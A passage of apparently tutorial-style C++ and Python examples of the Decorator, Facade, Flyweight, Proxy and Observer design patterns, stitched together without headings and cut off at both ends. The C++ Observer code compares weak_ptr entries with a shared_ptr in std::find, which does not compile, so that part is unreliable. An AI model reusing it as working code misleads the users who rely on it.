    std::unique_ptr<Coffee> myCoffee = std::make_unique<SimpleCoffee>();
    std::cout << myCoffee->getDescription() << " - $" << myCoffee->getCost() << std::endl;

    myCoffee = std::make_unique<MilkDecorator>(std::move(myCoffee));
    std::cout << myCoffee->getDescription() << " - $" << myCoffee->getCost() << std::endl;

    myCoffee = std::make_unique<SugarDecorator>(std::move(myCoffee));
    std::cout << myCoffee->getDescription() << " - $" << myCoffee->getCost() << std::endl;

    myCoffee = std::make_unique<WhippedCreamDecorator>(std::move(myCoffee));
    std::cout << myCoffee->getDescription() << " - $" << myCoffee->getCost() << std::endl;

    std::cout << "\n---\n\n";

    // Text formatting example
    auto text = std::make_unique<PlainText>("Hello World");
    std::cout << text->render() << std::endl;

    text = std::make_unique<BoldDecorator>(std::move(text));
    std::cout << text->render() << std::endl;

    text = std::make_unique<ItalicDecorator>(std::move(text));
    std::cout << text->render() << std::endl;

    text = std::make_unique<UnderlineDecorator>(std::move(text));
    std::cout << text->render() << std::endl;

    std::cout << "\n---\n\n";

    // Data stream example - combining compression and encryption
    auto source = std::make_unique<FileDataSource>("data.txt");
    source = std::make_unique<CompressionDecorator>(std::move(source));
    source = std::make_unique<EncryptionDecorator>(std::move(source));

    source->writeData("Sensitive information");
    std::cout << "\nReading back:" << std::endl;
    std::string data = source->readData();
    std::cout << "Final data: " << data << std::endl;

    return 0;
}

from abc import ABC, abstractmethod

# Component
class Coffee(ABC):
    @abstractmethod
    def get_description(self) -> str:
        pass

    @abstractmethod
    def get_cost(self) -> float:
        pass

# Concrete Component
class SimpleCoffee(Coffee):
    def get_description(self) -> str:
        return "Simple Coffee"

    def get_cost(self) -> float:
        return 2.0

# Base Decorator
class CoffeeDecorator(Coffee):
    def __init__(self, coffee: Coffee):
        self._coffee = coffee

# Concrete Decorators
class MilkDecorator(CoffeeDecorator):
    def get_description(self) -> str:
        return self._coffee.get_description() + ", Milk"

    def get_cost(self) -> float:
        return self._coffee.get_cost() + 0.5

class SugarDecorator(CoffeeDecorator):
    def get_description(self) -> str:
        return self._coffee.get_description() + ", Sugar"

    def get_cost(self) -> float:
        return self._coffee.get_cost() + 0.2

class WhippedCreamDecorator(CoffeeDecorator):
    def get_description(self) -> str:
        return self._coffee.get_description() + ", Whipped Cream"

    def get_cost(self) -> float:
        return self._coffee.get_cost() + 0.7

# Text formatting
class Text(ABC):
    @abstractmethod
    def render(self) -> str:
        pass

class PlainText(Text):
    def __init__(self, content: str):
        self.content = content

    def render(self) -> str:
        return self.content

class TextDecorator(Text):
    def __init__(self, text: Text):
        self._text = text

class BoldDecorator(TextDecorator):
    def render(self) -> str:
        return f"<b>{self._text.render()}</b>"

class ItalicDecorator(TextDecorator):
    def render(self) -> str:
        return f"<i>{self._text.render()}</i>"

# Usage
if __name__ == "__main__":
    coffee = SimpleCoffee()
    print(f"{coffee.get_description()} - ${coffee.get_cost()}")

    coffee = MilkDecorator(coffee)
    print(f"{coffee.get_description()} - ${coffee.get_cost()}")

    coffee = SugarDecorator(coffee)
    print(f"{coffee.get_description()} - ${coffee.get_cost()}")

    coffee = WhippedCreamDecorator(coffee)
    print(f"{coffee.get_description()} - ${coffee.get_cost()}")

    print("\n---\n")

    text = PlainText("Hello World")
    print(text.render())

    text = BoldDecorator(text)
    print(text.render())

    text = ItalicDecorator(text)
    print(text.render())

#include <iostream>
#include <memory>
#include <string>

// Subsystem classes - Complex components
class CPU {
public:
    void freeze() {
        std::cout << "CPU: Freezing processor" << std::endl;
    }

    void jump(long address) {
        std::cout << "CPU: Jumping to address " << address << std::endl;
    }

    void execute() {
        std::cout << "CPU: Executing instructions" << std::endl;
    }
};

class Memory {
public:
    void load(long position, const std::string& data) {
        std::cout << "Memory: Loading data '" << data
                  << "' at position " << position << std::endl;
    }
};

class HardDrive {
public:
    std::string read(long lba, int size) {
        std::cout << "HardDrive: Reading " << size
                  << " bytes from sector " << lba << std::endl;
        return "BOOT_DATA";
    }
};

// Facade
class ComputerFacade {
public:
    ComputerFacade()
        : cpu_(std::make_unique<CPU>()),
          memory_(std::make_unique<Memory>()),
          hardDrive_(std::make_unique<HardDrive>()) {}

    void start() {
        std::cout << "Computer starting up..." << std::endl;
        cpu_->freeze();
        memory_->load(0, hardDrive_->read(0, 1024));
        cpu_->jump(0);
        cpu_->execute();
        std::cout << "Computer started successfully!" << std::endl;
    }

private:
    std::unique_ptr<CPU> cpu_;
    std::unique_ptr<Memory> memory_;
    std::unique_ptr<HardDrive> hardDrive_;
};

// Home Theater example
class Amplifier {
public:
    void on() { std::cout << "Amplifier: ON" << std::endl; }
    void setVolume(int level) {
        std::cout << "Amplifier: Setting volume to " << level << std::endl;
    }
    void off() { std::cout << "Amplifier: OFF" << std::endl; }
};

class DvdPlayer {
public:
    void on() { std::cout << "DVD Player: ON" << std::endl; }
    void play(const std::string& movie) {
        std::cout << "DVD Player: Playing '" << movie << "'" << std::endl;
    }
    void stop() { std::cout << "DVD Player: Stopped" << std::endl; }
    void off() { std::cout << "DVD Player: OFF" << std::endl; }
};

class Projector {
public:
    void on() { std::cout << "Projector: ON" << std::endl; }
    void wideScreenMode() { std::cout << "Projector: Widescreen mode" << std::endl; }
    void off() { std::cout << "Projector: OFF" << std::endl; }
};

class TheaterLights {
public:
    void dim(int level) {
        std::cout << "Theater Lights: Dimming to " << level << "%" << std::endl;
    }
    void on() { std::cout << "Theater Lights: ON" << std::endl; }
};

class Screen {
public:
    void down() { std::cout << "Screen: Going down" << std::endl; }
    void up() { std::cout << "Screen: Going up" << std::endl; }
};

// Home Theater Facade
class HomeTheaterFacade {
public:
    HomeTheaterFacade(
        std::shared_ptr<Amplifier> amp,
        std::shared_ptr<DvdPlayer> dvd,
        std::shared_ptr<Projector> projector,
        std::shared_ptr<Screen> screen,
        std::shared_ptr<TheaterLights> lights)
        : amp_(amp), dvd_(dvd), projector_(projector),
          screen_(screen), lights_(lights) {}

    void watchMovie(const std::string& movie) {
        std::cout << "\nGet ready to watch a movie..." << std::endl;
        lights_->dim(10);
        screen_->down();
        projector_->on();
        projector_->wideScreenMode();
        amp_->on();
        amp_->setVolume(5);
        dvd_->on();
        dvd_->play(movie);
    }

    void endMovie() {
        std::cout << "\nShutting down movie theater..." << std::endl;
        dvd_->stop();
        dvd_->off();
        amp_->off();
        projector_->off();
        screen_->up();
        lights_->on();
    }

private:
    std::shared_ptr<Amplifier> amp_;
    std::shared_ptr<DvdPlayer> dvd_;
    std::shared_ptr<Projector> projector_;
    std::shared_ptr<Screen> screen_;
    std::shared_ptr<TheaterLights> lights_;
};

// Usage
int main() {
    // Computer facade example
    ComputerFacade computer;
    computer.start();

    std::cout << "\n---\n";

    // Home theater facade example
    auto amp = std::make_shared<Amplifier>();
    auto dvd = std::make_shared<DvdPlayer>();
    auto projector = std::make_shared<Projector>();
    auto screen = std::make_shared<Screen>();
    auto lights = std::make_shared<TheaterLights>();

    HomeTheaterFacade homeTheater(amp, dvd, projector, screen, lights);
    homeTheater.watchMovie("Inception");
    homeTheater.endMovie();

    return 0;
}

# Subsystem classes
class CPU:
    def freeze(self) -> None:
        print("CPU: Freezing processor")

    def jump(self, address: int) -> None:
        print(f"CPU: Jumping to address {address}")

    def execute(self) -> None:
        print("CPU: Executing instructions")

class Memory:
    def load(self, position: int, data: str) -> None:
        print(f"Memory: Loading data '{data}' at position {position}")

class HardDrive:
    def read(self, lba: int, size: int) -> str:
        print(f"HardDrive: Reading {size} bytes from sector {lba}")
        return "BOOT_DATA"

# Facade
class ComputerFacade:
    def __init__(self):
        self.cpu = CPU()
        self.memory = Memory()
        self.hard_drive = HardDrive()

    def start(self) -> None:
        print("Computer starting up...")
        self.cpu.freeze()
        self.memory.load(0, self.hard_drive.read(0, 1024))
        self.cpu.jump(0)
        self.cpu.execute()
        print("Computer started successfully!")

# Home Theater classes
class Amplifier:
    def on(self) -> None:
        print("Amplifier: ON")

    def set_volume(self, level: int) -> None:
        print(f"Amplifier: Setting volume to {level}")

    def off(self) -> None:
        print("Amplifier: OFF")

class DvdPlayer:
    def on(self) -> None:
        print("DVD Player: ON")

    def play(self, movie: str) -> None:
        print(f"DVD Player: Playing '{movie}'")

    def stop(self) -> None:
        print("DVD Player: Stopped")

    def off(self) -> None:
        print("DVD Player: OFF")

class Projector:
    def on(self) -> None:
        print("Projector: ON")

    def wide_screen_mode(self) -> None:
        print("Projector: Widescreen mode")

    def off(self) -> None:
        print("Projector: OFF")

class HomeTheaterFacade:
    def __init__(self, amp: Amplifier, dvd: DvdPlayer, projector: Projector):
        self.amp = amp
        self.dvd = dvd
        self.projector = projector

    def watch_movie(self, movie: str) -> None:
        print("\nGet ready to watch a movie...")
        self.projector.on()
        self.projector.wide_screen_mode()
        self.amp.on()
        self.amp.set_volume(5)
        self.dvd.on()
        self.dvd.play(movie)

    def end_movie(self) -> None:
        print("\nShutting down movie theater...")
        self.dvd.stop()
        self.dvd.off()
        self.amp.off()
        self.projector.off()

# Usage
if __name__ == "__main__":
    computer = ComputerFacade()
    computer.start()

    print("\n---\n")

    amp = Amplifier()
    dvd = DvdPlayer()
    projector = Projector()

    home_theater = HomeTheaterFacade(amp, dvd, projector)
    home_theater.watch_movie("Inception")
    home_theater.end_movie()

#include <iostream>
#include <memory>
#include <string>
#include <unordered_map>
#include <vector>

// Flyweight - Shared character data
class CharacterStyle {
public:
    CharacterStyle(const std::string& font, int size, const std::string& color)
        : font_(font), size_(size), color_(color) {
        std::cout << "Creating CharacterStyle: " << font << " " << size
                  << "pt " << color << std::endl;
    }

    void display(char symbol, int row, int column) const {
        std::cout << "Character '" << symbol << "' at (" << row << "," << column
                  << ") - Font: " << font_ << " " << size_ << "pt " << color_
                  << std::endl;
    }

    std::string getKey() const {
        return font_ + "_" + std::to_string(size_) + "_" + color_;
    }

private:
    std::string font_;  // Intrinsic state (shared)
    int size_;          // Intrinsic state (shared)
    std::string color_; // Intrinsic state (shared)
};

// Flyweight Factory
class CharacterStyleFactory {
public:
    std::shared_ptr<CharacterStyle> getStyle(
        const std::string& font, int size, const std::string& color) {

        std::string key = font + "_" + std::to_string(size) + "_" + color;

        auto it = styles_.find(key);
        if (it != styles_.end()) {
            std::cout << "Reusing existing style: " << key << std::endl;
            return it->second;
        }

        auto newStyle = std::make_shared<CharacterStyle>(font, size, color);
        styles_[key] = newStyle;
        return newStyle;
    }

    size_t getStyleCount() const {
        return styles_.size();
    }

private:
    std::unordered_map<std::string, std::shared_ptr<CharacterStyle>> styles_;
};

// Context - Character with position (extrinsic state)
class Character {
public:
    Character(char symbol, int row, int column,
              std::shared_ptr<CharacterStyle> style)
        : symbol_(symbol), row_(row), column_(column), style_(style) {}

    void display() const {
        style_->display(symbol_, row_, column_);
    }

private:
    char symbol_;                           // Extrinsic state (unique)
    int row_, column_;                      // Extrinsic state (unique)
    std::shared_ptr<CharacterStyle> style_; // Reference to flyweight
};

// Game example - Trees in a forest
class TreeType {
public:
    TreeType(const std::string& name, const std::string& color, const std::string& texture)
        : name_(name), color_(color), texture_(texture) {
        std::cout << "Creating tree type: " << name << std::endl;
    }

    void draw(int x, int y) const {
        std::cout << name_ << " tree (color: " << color_ << ", texture: " << texture_
                  << ") at (" << x << "," << y << ")" << std::endl;
    }

private:
    std::string name_;    // Intrinsic
    std::string color_;   // Intrinsic
    std::string texture_; // Intrinsic
};

class TreeFactory {
public:
    std::shared_ptr<TreeType> getTreeType(
        const std::string& name, const std::string& color, const std::string& texture) {

        std::string key = name + "_" + color + "_" + texture;

        auto it = treeTypes_.find(key);
        if (it != treeTypes_.end()) {
            return it->second;
        }

        auto newType = std::make_shared<TreeType>(name, color, texture);
        treeTypes_[key] = newType;
        return newType;
    }

    size_t getTypeCount() const {
        return treeTypes_.size();
    }

private:
    std::unordered_map<std::string, std::shared_ptr<TreeType>> treeTypes_;
};

class Tree {
public:
    Tree(int x, int y, std::shared_ptr<TreeType> type)
        : x_(x), y_(y), type_(type) {}

    void draw() const {
        type_->draw(x_, y_);
    }

private:
    int x_, y_;                      // Extrinsic state (unique per tree)
    std::shared_ptr<TreeType> type_; // Intrinsic state (shared)
};

class Forest {
public:
    void plantTree(int x, int y, const std::string& name,
                   const std::string& color, const std::string& texture) {
        auto type = treeFactory_.getTreeType(name, color, texture);
        trees_.push_back(std::make_unique<Tree>(x, y, type));
    }

    void draw() const {
        for (const auto& tree : trees_) {
            tree->draw();
        }
        std::cout << "\nTotal trees: " << trees_.size()
                  << ", Unique tree types: " << treeFactory_.getTypeCount()
                  << std::endl;
    }

private:
    TreeFactory treeFactory_;
    std::vector<std::unique_ptr<Tree>> trees_;
};

// Usage
int main() {
    // Text editor example
    CharacterStyleFactory styleFactory;

    auto arial12Black = styleFactory.getStyle("Arial", 12, "Black");
    auto arial12Red = styleFactory.getStyle("Arial", 12, "Red");
    auto arial14Black = styleFactory.getStyle("Arial", 14, "Black");
    auto arial12Black2 = styleFactory.getStyle("Arial", 12, "Black"); // Reuses

    std::vector<Character> document;
    document.emplace_back('H', 0, 0, arial14Black);
    document.emplace_back('e', 0, 1, arial12Black);
    document.emplace_back('l', 0, 2, arial12Black);
    document.emplace_back('l', 0, 3, arial12Red);
    document.emplace_back('o', 0, 4, arial12Black);

    std::cout << "\nDocument with " << document.size() << " characters:" << std::endl;
    for (const auto& ch : document) {
        ch.display();
    }

    std::cout << "\nTotal unique styles created: "
              << styleFactory.getStyleCount() << std::endl;

    std::cout << "\n---\n\n";

    // Forest example
    Forest forest;
    forest.plantTree(10, 20, "Oak", "Green", "OakTexture");
    forest.plantTree(50, 30, "Pine", "DarkGreen", "PineTexture");
    forest.plantTree(80, 40, "Oak", "Green", "OakTexture");  // Reuses Oak type
    forest.plantTree(120, 50, "Pine", "DarkGreen", "PineTexture"); // Reuses Pine
    forest.plantTree(150, 60, "Birch", "White", "BirchTexture");
    forest.plantTree(200, 70, "Oak", "Green", "OakTexture");  // Reuses Oak type

    std::cout << "\nDrawing forest:" << std::endl;
    forest.draw();

    return 0;
}

from typing import Dict

# Flyweight
class CharacterStyle:
    def __init__(self, font: str, size: int, color: str):
        self.font = font
        self.size = size
        self.color = color
        print(f"Creating CharacterStyle: {font} {size}pt {color}")

    def display(self, symbol: str, row: int, column: int) -> None:
        print(f"Character '{symbol}' at ({row},{column}) - "
              f"Font: {self.font} {self.size}pt {self.color}")

# Flyweight Factory
class CharacterStyleFactory:
    def __init__(self):
        self._styles: Dict[str, CharacterStyle] = {}

    def get_style(self, font: str, size: int, color: str) -> CharacterStyle:
        key = f"{font}_{size}_{color}"

        if key in self._styles:
            print(f"Reusing existing style: {key}")
            return self._styles[key]

        new_style = CharacterStyle(font, size, color)
        self._styles[key] = new_style
        return new_style

    def get_style_count(self) -> int:
        return len(self._styles)

# Context
class Character:
    def __init__(self, symbol: str, row: int, column: int, style: CharacterStyle):
        self.symbol = symbol      # Extrinsic
        self.row = row           # Extrinsic
        self.column = column     # Extrinsic
        self.style = style       # Intrinsic (shared)

    def display(self) -> None:
        self.style.display(self.symbol, self.row, self.column)

# Tree example
class TreeType:
    def __init__(self, name: str, color: str, texture: str):
        self.name = name
        self.color = color
        self.texture = texture
        print(f"Creating tree type: {name}")

    def draw(self, x: int, y: int) -> None:
        print(f"{self.name} tree (color: {self.color}, texture: {self.texture}) "
              f"at ({x},{y})")

class TreeFactory:
    def __init__(self):
        self._tree_types: Dict[str, TreeType] = {}

    def get_tree_type(self, name: str, color: str, texture: str) -> TreeType:
        key = f"{name}_{color}_{texture}"

        if key in self._tree_types:
            return self._tree_types[key]

        new_type = TreeType(name, color, texture)
        self._tree_types[key] = new_type
        return new_type

    def get_type_count(self) -> int:
        return len(self._tree_types)

class Tree:
    def __init__(self, x: int, y: int, tree_type: TreeType):
        self.x = x               # Extrinsic
        self.y = y               # Extrinsic
        self.type = tree_type    # Intrinsic (shared)

    def draw(self) -> None:
        self.type.draw(self.x, self.y)

class Forest:
    def __init__(self):
        self.tree_factory = TreeFactory()
        self.trees = []

    def plant_tree(self, x: int, y: int, name: str, color: str, texture: str) -> None:
        tree_type = self.tree_factory.get_tree_type(name, color, texture)
        self.trees.append(Tree(x, y, tree_type))

    def draw(self) -> None:
        for tree in self.trees:
            tree.draw()
        print(f"\nTotal trees: {len(self.trees)}, "
              f"Unique tree types: {self.tree_factory.get_type_count()}")

# Usage
if __name__ == "__main__":
    # Text editor
    factory = CharacterStyleFactory()

    arial_12_black = factory.get_style("Arial", 12, "Black")
    arial_12_red = factory.get_style("Arial", 12, "Red")
    arial_12_black_2 = factory.get_style("Arial", 12, "Black")  # Reuses

    document = [
        Character('H', 0, 0, arial_12_black),
        Character('e', 0, 1, arial_12_black),
        Character('l', 0, 2, arial_12_red),
        Character('l', 0, 3, arial_12_black),
        Character('o', 0, 4, arial_12_black),
    ]

    print(f"\nDocument with {len(document)} characters:")
    for ch in document:
        ch.display()

    print(f"\nTotal unique styles: {factory.get_style_count()}")

    print("\n---\n")

    # Forest
    forest = Forest()
    forest.plant_tree(10, 20, "Oak", "Green", "OakTexture")
    forest.plant_tree(50, 30, "Pine", "DarkGreen", "PineTexture")
    forest.plant_tree(80, 40, "Oak", "Green", "OakTexture")  # Reuses
    forest.plant_tree(120, 50, "Birch", "White", "BirchTexture")

    print("\nDrawing forest:")
    forest.draw()

#include <iostream>
#include <memory>
#include <string>
#include <unordered_map>

// Subject interface
class Image {
public:
    virtual ~Image() = default;
    virtual void display() = 0;
    virtual std::string getName() const = 0;
};

// Real Subject - Expensive object
class RealImage : public Image {
public:
    RealImage(const std::string& filename)
        : filename_(filename) {
        loadFromDisk();
    }

    void display() override {
        std::cout << "Displaying " << filename_ << std::endl;
    }

    std::string getName() const override {
        return filename_;
    }

private:
    void loadFromDisk() {
        std::cout << "Loading " << filename_ << " from disk (expensive operation)..."
                  << std::endl;
    }

    std::string filename_;
};

// Virtual Proxy - Lazy initialization
class ImageProxy : public Image {
public:
    ImageProxy(const std::string& filename)
        : filename_(filename), realImage_(nullptr) {}

    void display() override {
        if (!realImage_) {
            std::cout << "Proxy: First access, loading real image..." << std::endl;
            realImage_ = std::make_unique<RealImage>(filename_);
        }
        realImage_->display();
    }

    std::string getName() const override {
        return filename_;
    }

private:
    std::string filename_;
    std::unique_ptr<RealImage> realImage_;
};

// Protection Proxy example
class Document {
public:
    virtual ~Document() = default;
    virtual void displayContent() = 0;
    virtual void editContent(const std::string& newContent) = 0;
};

class RealDocument : public Document {
public:
    RealDocument(const std::string& content)
        : content_(content) {}

    void displayContent() override {
        std::cout << "Document content: " << content_ << std::endl;
    }

    void editContent(const std::string& newContent) override {
        content_ = newContent;
        std::cout << "Document updated to: " << content_ << std::endl;
    }

private:
    std::string content_;
};

class DocumentProxy : public Document {
public:
    DocumentProxy(std::unique_ptr<RealDocument> doc, const std::string& userRole)
        : document_(std::move(doc)), userRole_(userRole) {}

    void displayContent() override {
        std::cout << "Proxy: Checking read permissions for " << userRole_ << "..." << std::endl;
        document_->displayContent();
    }

    void editContent(const std::string& newContent) override {
        if (userRole_ == "admin" || userRole_ == "editor") {
            std::cout << "Proxy: " << userRole_ << " has write permission" << std::endl;
            document_->editContent(newContent);
        } else {
            std::cout << "Proxy: Access denied! " << userRole_
                      << " doesn't have write permission" << std::endl;
        }
    }

private:
    std::unique_ptr<RealDocument> document_;
    std::string userRole_;
};

// Caching Proxy example
class DataService {
public:
    virtual ~DataService() = default;
    virtual std::string getData(const std::string& key) = 0;
};

class RealDataService : public DataService {
public:
    std::string getData(const std::string& key) override {
        std::cout << "RealDataService: Fetching '" << key
                  << "' from database (expensive)..." << std::endl;
        return "Data for " + key;
    }
};

class CachingDataServiceProxy : public DataService {
public:
    CachingDataServiceProxy(std::unique_ptr<RealDataService> service)
        : service_(std::move(service)) {}

    std::string getData(const std::string& key) override {
        auto it = cache_.find(key);
        if (it != cache_.end()) {
            std::cout << "CachingProxy: Returning cached data for '" << key << "'"
                      << std::endl;
            return it->second;
        }

        std::cout << "CachingProxy: Cache miss, fetching from real service..."
                  << std::endl;
        std::string data = service_->getData(key);
        cache_[key] = data;
        return data;
    }

private:
    std::unique_ptr<RealDataService> service_;
    std::unordered_map<std::string, std::string> cache_;
};

// Usage
int main() {
    // Virtual Proxy - Lazy loading
    std::cout << "=== Virtual Proxy Example ===" << std::endl;
    auto image1 = std::make_unique<ImageProxy>("photo1.jpg");
    auto image2 = std::make_unique<ImageProxy>("photo2.jpg");

    std::cout << "\nImages created (not loaded yet)\n" << std::endl;

    image1->display();  // Loads and displays
    image1->display();  // Just displays (already loaded)

    std::cout << "\n---\n\n";

    // Protection Proxy
    std::cout << "=== Protection Proxy Example ===" << std::endl;
    auto adminDoc = std::make_unique<DocumentProxy>(
        std::make_unique<RealDocument>("Secret Document"),
        "admin"
    );

    auto viewerDoc = std::make_unique<DocumentProxy>(
        std::make_unique<RealDocument>("Public Document"),
        "viewer"
    );

    adminDoc->displayContent();
    adminDoc->editContent("Updated Secret Document");

    std::cout << std::endl;

    viewerDoc->displayContent();
    viewerDoc->editContent("Trying to update");  // Denied

    std::cout << "\n---\n\n";

    // Caching Proxy
    std::cout << "=== Caching Proxy Example ===" << std::endl;
    auto dataService = std::make_unique<CachingDataServiceProxy>(
        std::make_unique<RealDataService>()
    );

    std::cout << dataService->getData("user:123") << std::endl;
    std::cout << std::endl;
    std::cout << dataService->getData("user:123") << std::endl;  // From cache
    std::cout << std::endl;
    std::cout << dataService->getData("user:456") << std::endl;

    return 0;
}

from abc import ABC, abstractmethod
from typing import Dict, Optional

# Virtual Proxy
class Image(ABC):
    @abstractmethod
    def display(self) -> None:
        pass

class RealImage(Image):
    def __init__(self, filename: str):
        self.filename = filename
        self._load_from_disk()

    def _load_from_disk(self) -> None:
        print(f"Loading {self.filename} from disk (expensive operation)...")

    def display(self) -> None:
        print(f"Displaying {self.filename}")

class ImageProxy(Image):
    def __init__(self, filename: str):
        self.filename = filename
        self._real_image: Optional[RealImage] = None

    def display(self) -> None:
        if self._real_image is None:
            print("Proxy: First access, loading real image...")
            self._real_image = RealImage(self.filename)
        self._real_image.display()

# Protection Proxy
class Document(ABC):
    @abstractmethod
    def display_content(self) -> None:
        pass

    @abstractmethod
    def edit_content(self, new_content: str) -> None:
        pass

class RealDocument(Document):
    def __init__(self, content: str):
        self.content = content

    def display_content(self) -> None:
        print(f"Document content: {self.content}")

    def edit_content(self, new_content: str) -> None:
        self.content = new_content
        print(f"Document updated to: {self.content}")

class DocumentProxy(Document):
    def __init__(self, document: RealDocument, user_role: str):
        self.document = document
        self.user_role = user_role

    def display_content(self) -> None:
        print(f"Proxy: Checking read permissions for {self.user_role}...")
        self.document.display_content()

    def edit_content(self, new_content: str) -> None:
        if self.user_role in ["admin", "editor"]:
            print(f"Proxy: {self.user_role} has write permission")
            self.document.edit_content(new_content)
        else:
            print(f"Proxy: Access denied! {self.user_role} doesn't have write permission")

# Caching Proxy
class DataService(ABC):
    @abstractmethod
    def get_data(self, key: str) -> str:
        pass

class RealDataService(DataService):
    def get_data(self, key: str) -> str:
        print(f"RealDataService: Fetching '{key}' from database (expensive)...")
        return f"Data for {key}"

class CachingDataServiceProxy(DataService):
    def __init__(self, service: RealDataService):
        self.service = service
        self.cache: Dict[str, str] = {}

    def get_data(self, key: str) -> str:
        if key in self.cache:
            print(f"CachingProxy: Returning cached data for '{key}'")
            return self.cache[key]

        print("CachingProxy: Cache miss, fetching from real service...")
        data = self.service.get_data(key)
        self.cache[key] = data
        return data

# Usage
if __name__ == "__main__":
    # Virtual Proxy
    print("=== Virtual Proxy Example ===")
    image1 = ImageProxy("photo1.jpg")
    image2 = ImageProxy("photo2.jpg")

    print("\nImages created (not loaded yet)\n")

    image1.display()  # Loads and displays
    image1.display()  # Just displays

    print("\n---\n")

    # Protection Proxy
    print("=== Protection Proxy Example ===")
    admin_doc = DocumentProxy(RealDocument("Secret Document"), "admin")
    viewer_doc = DocumentProxy(RealDocument("Public Document"), "viewer")

    admin_doc.display_content()
    admin_doc.edit_content("Updated Secret Document")

    print()

    viewer_doc.display_content()
    viewer_doc.edit_content("Trying to update")  # Denied

    print("\n---\n")

    # Caching Proxy
    print("=== Caching Proxy Example ===")
    data_service = CachingDataServiceProxy(RealDataService())

    print(data_service.get_data("user:123"))
    print()
    print(data_service.get_data("user:123"))  # From cache
    print()
    print(data_service.get_data("user:456"))

#include <iostream>
#include <vector>
#include <string>
#include <memory>
#include <algorithm>

// Observer interface
class Observer {
public:
    virtual ~Observer() = default;
    virtual void update(const std::string& message) = 0;
    virtual std::string getName() const = 0;
};

// Subject (Observable) interface
class Subject {
public:
    virtual ~Subject() = default;
    virtual void attach(std::shared_ptr<Observer> observer) = 0;
    virtual void detach(std::shared_ptr<Observer> observer) = 0;
    virtual void notify(const std::string& message) = 0;
};

// Concrete Subject - News Agency
class NewsAgency : public Subject {
public:
    void attach(std::shared_ptr<Observer> observer) override {
        observers_.push_back(observer);
        std::cout << "NewsAgency: Attached observer " << observer->getName() << std::endl;
    }

    void detach(std::shared_ptr<Observer> observer) override {
        auto it = std::find(observers_.begin(), observers_.end(), observer);
        if (it != observers_.end()) {
            std::cout << "NewsAgency: Detached observer " << observer->getName() << std::endl;
            observers_.erase(it);
        }
    }

    void notify(const std::string& message) override {
        std::cout << "\nNewsAgency: Broadcasting news..." << std::endl;
        for (auto& observer : observers_) {
            if (auto obs = observer.lock()) {
                obs->update(message);
            }
        }
    }

    void publishNews(const std::string& news) {
        news_ = news;
        notify(news_);
    }

private:
    std::string news_;
    std::vector<std::weak_ptr<Observer>> observers_;
};

// Concrete Observers
class NewsChannel : public Observer {
public:
    NewsChannel(const std::string& name) : name_(name) {}

    void update(const std::string& message) override {
        std::cout << "NewsChannel [" << name_ << "]: Received news - " << message << std::endl;
    }

    std::string getName() const override {
        return name_;
    }

private:
    std::string name_;
};

class Newspaper : public Observer {
public:
    Newspaper(const std::string& name) : name_(name) {}

    void update(const std::string& message) override {
        std::cout << "Newspaper [" << name_ << "]: Printing news - " << message << std::endl;
        headlines_.push_back(message);
    }

    std::string getName() const override {
        return name_;
    }

    void printArchive() const {
        std::cout << "\n" << name_ << " Archive:" << std::endl;
        for (size_t i = 0; i < headlines_.size(); ++i) {
            std::cout << "  " << (i + 1) << ". " << headlines_[i] << std::endl;
        }
    }

private:
    std::string name_;
    std::vector<std::string> headlines_;
};

// Weather Station example
class WeatherStation {
public:
    void setMeasurements(float temperature, float humidity, float pressure) {
        temperature_ = temperature;
        humidity_ = humidity;
        pressure_ = pressure;
        measurementsChanged();
    }

    void attach(std::shared_ptr<Observer> observer) {
        observers_.push_back(observer);
    }

    void detach(std::shared_ptr<Observer> observer) {
        auto it = std::find(observers_.begin(), observers_.end(), observer);
        if (it != observers_.end()) {
            observers_.erase(it);
        }
    }

private:
    void measurementsChanged() {
        std::string data = "Temp: " + std::to_string(temperature_) + "°C, " +
                          "Humidity: " + std::to_string(humidity_) + "%, " +
                          "Pressure: " + std::to_string(pressure_) + " hPa";

        for (auto& observer : observers_) {
            if (auto obs = observer.lock()) {
                obs->update(data);
            }
        }
    }

    float temperature_ = 0.0f;
    float humidity_ = 0.0f;
    float pressure_ = 0.0f;
    std::vector<std::weak_ptr<Observer>> observers_;
};

class WeatherDisplay : public Observer {
public:
    WeatherDisplay(const std::string& name) : name_(name) {}

    void update(const std::string& message) override {
        std::cout << "Display [" << name_ << "]: " << message << std::endl;
    }

    std::string getName() const override {
        return name_;
    }

private:
    std::string name_;
};

// Usage
int main() {
    // News agency example
    auto newsAgency = std::make_unique<NewsAgency>();

    auto cnn = std::make_shared<NewsChannel>("CNN");
    auto bbc = std::make_shared<NewsChannel>("BBC");
    auto nyt = std::make_shared<Newspaper>("New York Times");

    newsAgency->attach(cnn);
    newsAgency->attach(bbc);
    newsAgency->attach(nyt);

    newsAgency->publishNews("Breaking: Major tech announcement!");

    std::cout << "\nDetaching CNN..." << std::endl;
    newsAgency->detach(cnn);

    newsAgency->publishNews("Update: Market reaches new high");

    nyt->printArchive();

    std::cout << "\n---\n\n";

    // Weather station example
    WeatherStation station;

    auto homeDisplay = std::make_shared<WeatherDisplay>("Home");
    auto officeDisplay = std::make_shared<WeatherDisplay>("Office");
    auto mobileDisplay = std::make_shared<WeatherDisplay>("Mobile");

    station.attach(homeDisplay);
    station.attach(officeDisplay);
    station.attach(mobileDisplay);

    std::cout << "Weather update 1:" << std::endl;
    station.setMeasurements(25.5f, 65.0f, 1013.2f);

    std::cout << "\nWeather update 2:" << std::endl;
    station.setMeasurements(27.0f, 70.0f, 1012.8f);

    return 0;
}

from abc import ABC, abstractmethod
from typing import List
from weakref import WeakSet

# Observer interface
class Observer(ABC):
    @abstractmethod
    def update(self, message: str) -> None:
        pass

    @abstractmethod
    def get_name(self) -> str:
        pass

# Subject interface
class Subject(ABC):
    @abstractmethod
    def attach(self, observer: Observer) -> None:
        pass

    @abstractmethod
    def detach(self, observer: Observer) -> None:
        pass

    @abstractmethod
    def notify(self, message: str) -> None:
        pass

# Concrete Subject
class NewsAgency(Subject):
    def __init__(self):
        self._observers: WeakSet[Observer] = WeakSet()
        self._news: str = ""

    def attach(self, observer: Observer) -> None:
        self._observers.add(observer)
        print(f"NewsAgency: Attached observer {observer.get_name()}")

    def detach(self, observer: Observer) -> None:
        self._observers.discard(observer)
        print(f"NewsAgency: Detached observer {observer.get_name()}")

    def notify(self, message: str) -> None:
        print("\nNewsAgency: Broadcasting news...")
        for observer in self._observers:
            observer.update(message)

    def publish_news(self, news: str) -> None:
        self._news = news
        self.notify(self._news)

# Concrete Observers
class NewsChannel(Observer):
    def __init__(self, name: str):
        self._name = name

    def update(self, message: str) -> None:
        print(f"NewsChannel [{self._name}]: Received news - {message}")

    def get_name(self) -> str:
        return self._name

